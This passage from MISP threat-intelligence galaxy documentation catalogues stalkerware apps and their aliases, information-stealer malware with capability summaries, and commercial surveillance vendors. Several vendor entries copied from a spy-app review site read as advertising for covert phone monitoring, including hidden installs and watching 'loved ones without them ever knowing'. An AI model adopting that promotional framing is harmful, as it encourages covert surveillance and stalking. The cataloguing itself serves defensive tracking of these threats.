MonitorUltra

The tag is: *misp-galaxy:stalkerware="MonitorUltra"*

Mrecorder

The tag is: *misp-galaxy:stalkerware="Mrecorder"*

Mrecorder is also known as:

- mobrec

mSpy

The tag is: *misp-galaxy:stalkerware="mSpy"*

mSpy is also known as:

- FakeSys
- KidSecured
- Phonsee
- SecureChildren
- celSpy
- eyeZy
- mSpy
- mSpyOnline

mSpyitaly

The tag is: *misp-galaxy:stalkerware="mSpyitaly"*

MyCellSpy

The tag is: *misp-galaxy:stalkerware="MyCellSpy"*

MyCellSpy is also known as:

- CellSpy
- MCSpy

MySpyApps

The tag is: *misp-galaxy:stalkerware="MySpyApps"*

MzanziSpy

The tag is: *misp-galaxy:stalkerware="MzanziSpy"*

NemoSpy

The tag is: *misp-galaxy:stalkerware="NemoSpy"*

NemoSpy is also known as:

- Spyoo

NeoSpy

The tag is: *misp-galaxy:stalkerware="NeoSpy"*

NeoSpy is also known as:

- NeoSpy

Netnanny

The tag is: *misp-galaxy:stalkerware="Netnanny"*

NetSpy

The tag is: *misp-galaxy:stalkerware="NetSpy"*

NetSpy is also known as:

- NetSpy

NexSpy

The tag is: *misp-galaxy:stalkerware="NexSpy"*

NexSpy is also known as:

- MobileBackup
- Oxy

Observer

The tag is: *misp-galaxy:stalkerware="Observer"*

OneLocator

The tag is: *misp-galaxy:stalkerware="OneLocator"*

OneLocator is also known as:

- FamilyLocator
- PhoneTrackerByNumber

OneSpy

The tag is: *misp-galaxy:stalkerware="OneSpy"*

OneSpy is also known as:

- ChyldMonitor
- OneMonitar
- OneSpy

OwnSpy

The tag is: *misp-galaxy:stalkerware="OwnSpy"*

OwnSpy is also known as:

- OwnSpy
- SaferSpy
- WebDetetive

PanSpy

The tag is: *misp-galaxy:stalkerware="PanSpy"*

PanSpy is also known as:

- PanSpy
- SurveilStar

PatanSpyApp

The tag is: *misp-galaxy:stalkerware="PatanSpyApp"*

pcTattletale

The tag is: *misp-galaxy:stalkerware="pcTattletale"*

pcTattletale is also known as:

- pcTattletale

PhoneMonitor

The tag is: *misp-galaxy:stalkerware="PhoneMonitor"*

PhoneSheriff

The tag is: *misp-galaxy:stalkerware="PhoneSheriff"*

PhoneSheriff is also known as:

- MobileNanny
- PeekTab
- PhoneSheriff
- RetinaSpy
- RetinaX

PhoneSpy

The tag is: *misp-galaxy:stalkerware="PhoneSpy"*

Qustodio

The tag is: *misp-galaxy:stalkerware="Qustodio"*

RastreadorDeNamorado

The tag is: *misp-galaxy:stalkerware="RastreadorDeNamorado"*

RealtimeSpy

The tag is: *misp-galaxy:stalkerware="RealtimeSpy"*

RecomSpy

The tag is: *misp-galaxy:stalkerware="RecomSpy"*

Reptilicus

The tag is: *misp-galaxy:stalkerware="Reptilicus"*

Reptilicus is also known as:

- CyberNanny
- Reptilicus
- Vkur

RioSPY

The tag is: *misp-galaxy:stalkerware="RioSPY"*

SafeNet

The tag is: *misp-galaxy:stalkerware="SafeNet"*

ScreenTime

The tag is: *misp-galaxy:stalkerware="ScreenTime"*

SecretCamRecorder

The tag is: *misp-galaxy:stalkerware="SecretCamRecorder"*

SecretCamRecorder is also known as:

- SecretCamRecorder

SeekDroid

The tag is: *misp-galaxy:stalkerware="SeekDroid"*

SentryPC

The tag is: *misp-galaxy:stalkerware="SentryPC"*

ShadowSpy

The tag is: *misp-galaxy:stalkerware="ShadowSpy"*

ShadowSpy is also known as:

- ShadowSpy

ShadySpy

The tag is: *misp-galaxy:stalkerware="ShadySpy"*

SmartKeylogger

The tag is: *misp-galaxy:stalkerware="SmartKeylogger"*

SmartKeylogger is also known as:

- Hiddad

SMSForward

The tag is: *misp-galaxy:stalkerware="SMSForward"*

SMSForward is also known as:

- SMForw

Snoopza

The tag is: *misp-galaxy:stalkerware="Snoopza"*

Snoopza is also known as:

- Snoopza

Spy24

The tag is: *misp-galaxy:stalkerware="Spy24"*

Spy24 is also known as:

- Spy24

SpyAdvice

The tag is: *misp-galaxy:stalkerware="SpyAdvice"*

SpyAdvice is also known as:

- FreeSpyPhone
- SpyAdvice

SpyApp

The tag is: *misp-galaxy:stalkerware="SpyApp"*

SpyApp247

The tag is: *misp-galaxy:stalkerware="SpyApp247"*

SpyApp247 is also known as:

- SpyApp247

SpyAppGhazi

The tag is: *misp-galaxy:stalkerware="SpyAppGhazi"*

SpyDroid

The tag is: *misp-galaxy:stalkerware="SpyDroid"*

SpyEra

The tag is: *misp-galaxy:stalkerware="SpyEra"*

SpyEra is also known as:

- SpyEra

SpyFly

The tag is: *misp-galaxy:stalkerware="SpyFly"*

SpyHuman

The tag is: *misp-galaxy:stalkerware="SpyHuman"*

SpyHuman is also known as:

- SpyHuman

Spyier

The tag is: *misp-galaxy:stalkerware="Spyier"*

Spyier is also known as:

- Spyier

SpyKontrol

The tag is: *misp-galaxy:stalkerware="SpyKontrol"*

SpyLive360

The tag is: *misp-galaxy:stalkerware="SpyLive360"*

SpyLive360 is also known as:

- SpyLive360

Spylix

The tag is: *misp-galaxy:stalkerware="Spylix"*

SpyMasterPro

The tag is: *misp-galaxy:stalkerware="SpyMasterPro"*

SpyMasterPro is also known as:

- SpyMasterPro

Spymie

The tag is: *misp-galaxy:stalkerware="Spymie"*

Spymie is also known as:

- Spymie

SpyMug

The tag is: *misp-galaxy:stalkerware="SpyMug"*

SpyMug is also known as:

- SpyMug

Spynger

The tag is: *misp-galaxy:stalkerware="Spynger"*

Spynger is also known as:

- discovenger

SpyNote

The tag is: *misp-galaxy:stalkerware="SpyNote"*

SpyNote is also known as:

- Scream
- Screamon

Spyone

The tag is: *misp-galaxy:stalkerware="Spyone"*

SpyPhoneApp

The tag is: *misp-galaxy:stalkerware="SpyPhoneApp"*

SpyPhoneApp is also known as:

- SpyPhoneApp

SpyphoneMobileTracker

The tag is: *misp-galaxy:stalkerware="SpyphoneMobileTracker"*

SpyphoneMobileTracker is also known as:

- SpyphoneMobileTracker

SpySMS

The tag is: *misp-galaxy:stalkerware="SpySMS"*

SpyTec

The tag is: *misp-galaxy:stalkerware="SpyTec"*

SpyTek

The tag is: *misp-galaxy:stalkerware="SpyTek"*

SpyToApp

The tag is: *misp-galaxy:stalkerware="SpyToApp"*

SpyToApp is also known as:

- SpyToApp

Spyzier

The tag is: *misp-galaxy:stalkerware="Spyzier"*

SwiftMobileSpy

The tag is: *misp-galaxy:stalkerware="SwiftMobileSpy"*

TalkLog

The tag is: *misp-galaxy:stalkerware="TalkLog"*

TalkLog is also known as:

- TalkLog

TheOneSpy

The tag is: *misp-galaxy:stalkerware="TheOneSpy"*

TheOneSpy is also known as:

- OgyMogy
- TheOneSpy

TheTruthSpy

The tag is: *misp-galaxy:stalkerware="TheTruthSpy"*

TheTruthSpy is also known as:

- Copy9
- ExactSpy
- FoneTracker
- GuestSpy
- InoSPy
- MxSpy
- PhoneSpying
- PhoneTracker
- SpyZee
- TheSpyApp

- TheTruthSpy
- XySpy
- iSpyoo

TheWiSpy

The tag is: *misp-galaxy:stalkerware="TheWiSpy"*

Traccar

The tag is: *misp-galaxy:stalkerware="Traccar"*

Traccar is also known as:

- Traca

TrackingSmartphone

The tag is: *misp-galaxy:stalkerware="TrackingSmartphone"*

TrackingSmartphone is also known as:

- TrackSmart
- TrackingSmart
- XZBO

Trackji

The tag is: *misp-galaxy:stalkerware="Trackji"*

TrackMyPhones

The tag is: *misp-galaxy:stalkerware="TrackMyPhones"*

TrackMyPhones is also known as:

- TrackMyPhones

Trackplus

The tag is: *misp-galaxy:stalkerware="Trackplus"*

Trackplus is also known as:

- Gpspy
- S2mob

- Spy2Mobile
- SpyToMobile
- Spymob
- sap4mobile
- spy2mobile

Tracku

The tag is: *misp-galaxy:stalkerware="Tracku"*

Tracku is also known as:

- Bakuf
- Clues
- ESpy
- IZSpy
- IzKid
- Kurulum

TrackView

The tag is: *misp-galaxy:stalkerware="TrackView"*

TrackView is also known as:

- LifeCircle
- TrackView

Trulpe

The tag is: *misp-galaxy:stalkerware="Trulpe"*

uMobix

The tag is: *misp-galaxy:stalkerware="uMobix"*

uMobix is also known as:

- uMobix

Unisafe

The tag is: *misp-galaxy:stalkerware="Unisafe"*

Unisafe is also known as:

- Unisafe

VIPTrack

The tag is: *misp-galaxy:stalkerware="VIPTrack"*

VIPTrack is also known as:

- VIPTrack

WebWatcher

The tag is: *misp-galaxy:stalkerware="WebWatcher"*

WebWatcher is also known as:

- Atic
- Interguard
- Screentime
- atispy

WheresMyDroid

The tag is: *misp-galaxy:stalkerware="WheresMyDroid"*

WiseMo

The tag is: *misp-galaxy:stalkerware="WiseMo"*

WiseMo is also known as:

- WiseMo

WtSpy

The tag is: *misp-galaxy:stalkerware="WtSpy"*

WtSpy is also known as:

- WtSpy

XDSpy

The tag is: *misp-galaxy:stalkerware="XDSpy"*

xHunter

The tag is: *misp-galaxy:stalkerware="xHunter"*

Xnore

The tag is: *misp-galaxy:stalkerware="Xnore"*

Xnore is also known as:

- Xnore

XNSpy

The tag is: *misp-galaxy:stalkerware="XNSpy"*

XNSpy is also known as:

- SpyXiz4
- SpyXiz4Me
- TrackMyPhone
- XNSpy
- ZTI

XploitSPY

The tag is: *misp-galaxy:stalkerware="XploitSPY"*

ZoeMob

The tag is: *misp-galaxy:stalkerware="ZoeMob"*

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data

Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: *misp-galaxy:stealer="Nocturnal Stealer"*

View relationships graph

Nocturnal Stealer has relationships with:

- similar: misp-galaxy:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 17468. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/
https://traffic.moe/2018/11/10/index.html

TeleGrab

The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.

The tag is: *misp-galaxy:stealer="TeleGrab"*

Table 17469. Table References

Links
https://blog.talosintelligence.com/2018/05/telegrab.html

AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.

The tag is: *misp-galaxy:stealer="AZORult"*

Table 17470. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers
https://malware.lu/articles/2018/05/04/azorult-stealer.html

Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: *misp-galaxy:stealer="Vidar"*

Table 17471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: *misp-galaxy:stealer="Ave Maria"*

Table 17472. Table References

Links
https://blog.yoroi.company/research/the-ave_maria-malware/

HackBoss

A cryptocurrency-stealing malware distributed through Telegram

The tag is: *misp-galaxy:stealer="HackBoss"*

Table 17473. Table References

Links
https://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram/
https://github.com/avast/ioc/tree/master/HackBoss

Prynt Stealer

Prynt Stealer is an information stealer that has the ability to capture credentials that are stored on

a compromised system including web browsers, VPN/FTP clients, as well as messaging and gaming applications. Its developer based the malware code on open source projects including AsyncRAT and StormKitty. Prynt Stealer uses Telegram to exfiltrate data that is stolen from victims. Its author added a backdoor Telegram channel to collect the information stolen by other criminals.

The tag is: *misp-galaxy:stealer="Prynt Stealer"*

View relationships graph

Prynt Stealer has relationships with:

- variant-of: misp-galaxy:stealer="DarkEye" with estimative-language:likelihood-probability="very-likely"
- variant-of: misp-galaxy:stealer="WorldWind" with estimative-language:likelihood-probability="very-likely"

Table 17474. Table References

Links
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

DarkEye

Nearly identical to Prynt Stealer with a few differences. DarkEye is not sold or mentioned publicly, however, it is bundled as a backdoor with a “free” Prynt Stealer builder.

The tag is: *misp-galaxy:stealer="DarkEye"*

View relationships graph

DarkEye has relationships with:

- variant-of: misp-galaxy:stealer="Prynt Stealer" with estimative-language:likelihood-probability="very-likely"
- variant-of: misp-galaxy:stealer="WorldWind" with estimative-language:likelihood-probability="very-likely"

Table 17475. Table References

Links
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

WorldWind

Prynt Stealer variant that appear to be written by the same author. It is nearly identical to Prynt Stealer with a few minor differences. While Prynt Stealer is the most popular brand name for selling the malware, WorldWind payloads are the most commonly observed in-the-wild.

The tag is: *misp-galaxy:stealer="WorldWind"*

View relationships graph

WorldWind has relationships with:

- variant-of: misp-galaxy:stealer="Prynt Stealer" with estimative-language:likelihood-probability="very-likely"
- variant-of: misp-galaxy:stealer="DarkEye" with estimative-language:likelihood-probability="very-likely"

Table 17476. Table References

Links
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

DarkCloud Stealer

Stealer is written in Visual Basic.

The tag is: *misp-galaxy:stealer="DarkCloud Stealer"*

View relationships graph

DarkCloud Stealer has relationships with:

- variant-of: misp-galaxy:malpedia="BluStealer" with estimative-language:likelihood-probability="very-likely"

Table 17477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud
https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/

Album Stealer

The Zscaler ThreatLabz research team has spotted a new information stealer named Album. Album Stealer is disguised as a photo album that drops decoy adult images while performing malicious activity in the background. The threat group launching these attacks may be located in Vietnam.

The tag is: *misp-galaxy:stealer="Album Stealer"*

Table 17478. Table References

Links
https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers

Rhadamanthys

According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.

The tag is: *misp-galaxy:stealer="Rhadamanthys"*

Table 17479. Table References

Links
https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88
https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/
https://www.malware-traffic-analysis.net/2023/01/03/index.html
https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/

Sordeal-Stealer

Python-based Stealer including Discord, Steam...

The tag is: *misp-galaxy:stealer="Sordeal-Stealer"*

Sordeal-Stealer is also known as:

- Sordeal
- Sordeal Stealer

Table 17480. Table References

Links
https://github.com/SOrdeal/Sordeal-Stealer

Mars Stealer

Mars stealer is an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins. Mars Stealer written in ASM/C using WinApi, weight is 95 kb. Uses special techniques to hide WinApi calls, encrypts strings, collects information in the memory, supports secure SSL-connection with C&C, doesn't use CRT, STD.

The tag is: *misp-galaxy:stealer="Mars Stealer"*

View relationships graph

Mars Stealer has relationships with:

- successor-of: misp-galaxy:stealer="Oski Stealer" with estimative-language:likelihood-probability="very-likely"

Table 17481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer
https://3xp0rt.com/posts/mars-stealer/
https://cyberint.com/blog/research/mars-stealer/
https://isc.sans.edu/diary/rss/28468
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468
https://blog.morphisec.com/threat-research-mars-stealer
https://cert.gov.ua/article/38606
https://www.malwarebytes.com/blog/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique
https://blog.sekoia.io/mars-a-red-hot-information-stealer/
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer
https://resources.infosecinstitute.com/topics/malware-analysis/mars-stealer-malware-analysis/
https://www.microsoft.com/en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer
https://x-junior.github.io/malware%20analysis/2022/05/19/MarsStealer.html
https://www.kelacyber.com/information-stealers-a-new-landscape/
https://cyble.com/blog/fake-atomic-wallet-website-distributing-mars-stealer/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://drive.google.com/file/d/14cmYxzowVLyuiS5qDGOKzgI2_vak2Fve/view
https://threatmon.io/mars-stealer-malware-analysis-2022/
https://threatmon.io/storage/mars-stealer-malware-analysis-2022.pdf
https://3xp0rt.com/posts/mars-stealer/forum.png

Oski Stealer

The Oski stealer is a malicious information stealer, which was first introduced in November 2019. As the name implies, the Oski stealer steals personal and sensitive information from its target. “Oski” is derived from an old Nordic word meaning Viking warrior, which is quite fitting considering this popular info-stealer is extremely effective at pillaging privileged information from its victims.

The tag is: *misp-galaxy:stealer="Oski Stealer"*

Table 17482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oski
https://twitter.com/albertzsigovits/status/1160874557454131200
https://www.bitdefender.com/blog/labs/
https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer
https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601
https://yoroi.company/en/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/
https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view
https://www.rapid7.com/solutions/unified-mdr-xdr-vm/
https://3xp0rt.com/posts/mars-stealer/
https://cyberint.com/blog/research/mars-stealer/
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468

WARPWIRE

WARPWIRE is a JavaScript-based credential stealer

The tag is: *misp-galaxy:stealer="WARPWIRE"*

Table 17483. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

SnakeStealer

The SnakeStealer (currently advertised under an inaccurate name Snake Keylogger) is information stealing malware with many capabilities. Initially advertised on a Russian hacking forum in 2019, this .NET malware is capable of stealing credentials, monitoring the clipboard content, capturing screenshots, and keylogging. SnakeStealer is known for using multiple data exfiltration methods, including FTP, SMTP, and the Telegram API.

The tag is: *misp-galaxy:stealer="SnakeStealer"*

Table 17484. Table References

Links
https://www.welivesecurity.com/en/eset-research/eset-threat-report-h1-2025

FormBook

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: *misp-galaxy:stealer="FormBook"*

View relationships graph

FormBook has relationships with:

- similar: misp-galaxy:malpedia="Formbook" with estimative-language:likelihood-probability="almost-certain"

Table 17485. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/

Surveillance Vendor

List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services..

Surveillance Vendor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Kape Technologies

Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel’s NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.

The tag is: *misp-galaxy:surveillance-vendor="Kape Technologies"*

Kape Technologies is also known as:

- Kape
- Crossrider

Table 17486. Table References

Links
https://telegra.ph/Private-Internet-Access-VPN-acquired-by-malware-business-founded-by-former-Israeli-spies-12-01

NSO group

NSO Group Technologies is an Israeli technology firm known for its Pegasus spyware enabling the remote surveillance of smartphones. It was founded in 2010 by Niv Carmi, Omri Lavie, and Shalev Hulio. It reportedly employed almost 500 people as of 2017, and is based in Herzliya, near Tel Aviv.

The tag is: *misp-galaxy:surveillance-vendor="NSO group"*

NSO group is also known as:

- Q-Cyber
- Circles

Table 17487. Table References

Links
https://en.wikipedia.org/wiki/NSO_Group

Hacking Team

HackingTeam is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though HackingTeam states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries outside Europe. HackingTeam employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.

The tag is: *misp-galaxy:surveillance-vendor="Hacking Team"*

Hacking Team is also known as:

- Memento Labs

Table 17488. Table References

Links
https://en.wikipedia.org/wiki/Hacking_Team

Gamma Group

Gamma Group is an Anglo-German technology company that sells surveillance software to governments and police forces around the world. The company has been strongly criticised by human rights organisations for selling its FinFisher software to undemocratic regimes such as Egypt and Bahrain.

The tag is: *misp-galaxy:surveillance-vendor="Gamma Group"*

Gamma Group is also known as:

- Gamma International

Table 17489. Table References

Links
https://en.wikipedia.org/wiki/Gamma_Group

FlexiSPY

Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.

The tag is: *misp-galaxy:surveillance-vendor="FlexiSPY"*

mSpy

mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children's online activity. Using mSpy is easy — just download and install a hidden app on your child's phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child's device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child's device on a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don't know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.

The tag is: *misp-galaxy:surveillance-vendor="mSpy"*

Table 17490. Table References

Links
https://www.bestphonespy.com/mspy-review/

Highster Mobile

Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.

The tag is: *misp-galaxy:surveillance-vendor="Highster Mobile"*

Table 17491. Table References

Links
https://www.bestphonespy.com/highster-mobile-review/

Mobile Spy

Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You'll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.

The tag is: *misp-galaxy:surveillance-vendor="Mobile Spy"*

Table 17492. Table References

Links
https://www.bestphonespy.com/mobile-spy-review/

Hoverwatch

Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.

The tag is: *misp-galaxy:surveillance-vendor="Hoverwatch"*

Table 17493. Table References

Links
https://www.bestphonespy.com/hoverwatch-review/

MobiStealth

MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner’s knowledge.

The tag is: *misp-galaxy:surveillance-vendor="MobiStealth"*

Table 17494. Table References

Links
https://www.bestphonespy.com/mobistealth-review/

Spyera

Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company’s phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.

The tag is: *misp-galaxy:surveillance-vendor="Spyera"*

Table 17495. Table References

Links
https://www.bestphonespy.com/spyera-review/

StealthGenie

StealthGenie is a powerful cell phone spy software created by InvoCode Ltd in 2010 that can be used to spy on cheating spouses and monitor children’s activities. In September 2014, Hammad Akbar, founder of StealthGenie, was arrested in Los Angeles and charged with selling mobile device spyware. StealthGenie was officially discontinued on 26 September 2014.

The tag is: *misp-galaxy:surveillance-vendor="StealthGenie"*

Table 17496. Table References

Links
https://www.bestphonespy.com/stealthgenie-review/

SpyBubble

SpyBubble is a spy app that lets you secretly spy on someone's phone. This spy app is compatible with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn't provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons

The tag is: *misp-galaxy:surveillance-vendor="SpyBubble"*

Table 17497. Table References

Links
https://www.bestphonespy.com/spybubble-review/

Cytrox

Cytrox's Israeli companies were founded in 2017 as Cytrox EMEA Ltd. and Cytrox Software Ltd. Perhaps taking a page from Candiru's corporate obfuscation playbook, both of those companies were renamed in 2019 to Balinese Ltd. and Peterbald Ltd., respectively. We also observed one entity in Hungary, Cytrox Holdings Zrt, which was also formed in 2017.

The tag is: *misp-galaxy:surveillance-vendor="Cytrox"*

Cytrox is also known as:

- Cytrox EMEA Ltd.
- Cytrox Software Ltd.
- Balinese Ltd.
- Peterbald Ltd.
- Cytrox Holdings Zrt

View relationships graph

Cytrox has relationships with:

- is-acquired-by: misp-galaxy:surveillance-vendor="Wispear" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Senpai" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Wispear" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Nexa" with estimative-language:likelihood-probability="likely"
- part-of: misp-galaxy:surveillance-vendor="Intellexa" with estimative-language:likelihood-

probability="likely"

Table 17498. Table References

Links
https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/

RCSLab

RCS Lab S.p.A., Italian vendor likely using Tykelab Srl as a front company.

The tag is: *misp-galaxy:surveillance-vendor="RCSLab"*

RCSLab is also known as:

- RCS Lab

Table 17499. Table References

Links
https://www.rcslab.it/en/index.html
https://www.lookout.com/blog/hermit-spyware-discovery
https://www.vice.com/en/article/nz75wd/european-surveillance-companies-agt-rcs-sell-syria-tools-of-oppression

Aglaya

Aglaya, a contractor based in Delhi, India, emerged into the public eye in 2014 following its attempt to secure a substantial annual contract worth $5 billion. This surge in prominence was largely driven by the actions of Ankur Srivastava, Aglaya's CEO and founder, who purportedly proposed the outsourcing of surveillance and hacking services to various governments.

The tag is: *misp-galaxy:surveillance-vendor="Aglaya"*

Table 17500. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/59weqb/a-spyware-company-audaciously-offers-cyber-nukes

Interionet

Interionet Systems Ltd., headquartered in Herzliya, Israel, is a privately-held company recognized for its approach in the cyber intelligence domain, particularly catering to law enforcement and intelligence agencies. The firm, founded by ex-NSO team members, is dedicated to the development

of sophisticated cyber-intrusion and mobile interception tools.

The tag is: *misp-galaxy:surveillance-vendor="Interionet"*

Table 17501. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.intelligenceonline.com/surveillance—interception/2019/05/14/interionet-former-nso-team-s-new-offensive-cyber-firm,108357090-art
https://www.interionet.com/

Intellexa

The Intellexa alliance is an evolving group of companies and brands that have been involved in developing and marketing a wide range of surveillance products including advanced spyware, mass surveillance platforms, and tactical systems for targeting and intercepting nearby devices. The corporate entities of the alliance span various jurisdictions, both within and outside the EU. The exact nature of links between these companies is shrouded in secrecy as corporate entities, and the structures between them, are constantly morphing, renaming, rebranding, and evolving.

The tag is: *misp-galaxy:surveillance-vendor="Intellexa"*

View relationships graph

Intellexa has relationships with:

- known-as: misp-galaxy:surveillance-vendor="Cytrox" with estimative-language:likelihood-probability="likely"

Table 17502. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://securitylab.amnesty.org/latest/2023/10/technical-deep-dive-into-intellexa-alliance-surveillance-products/
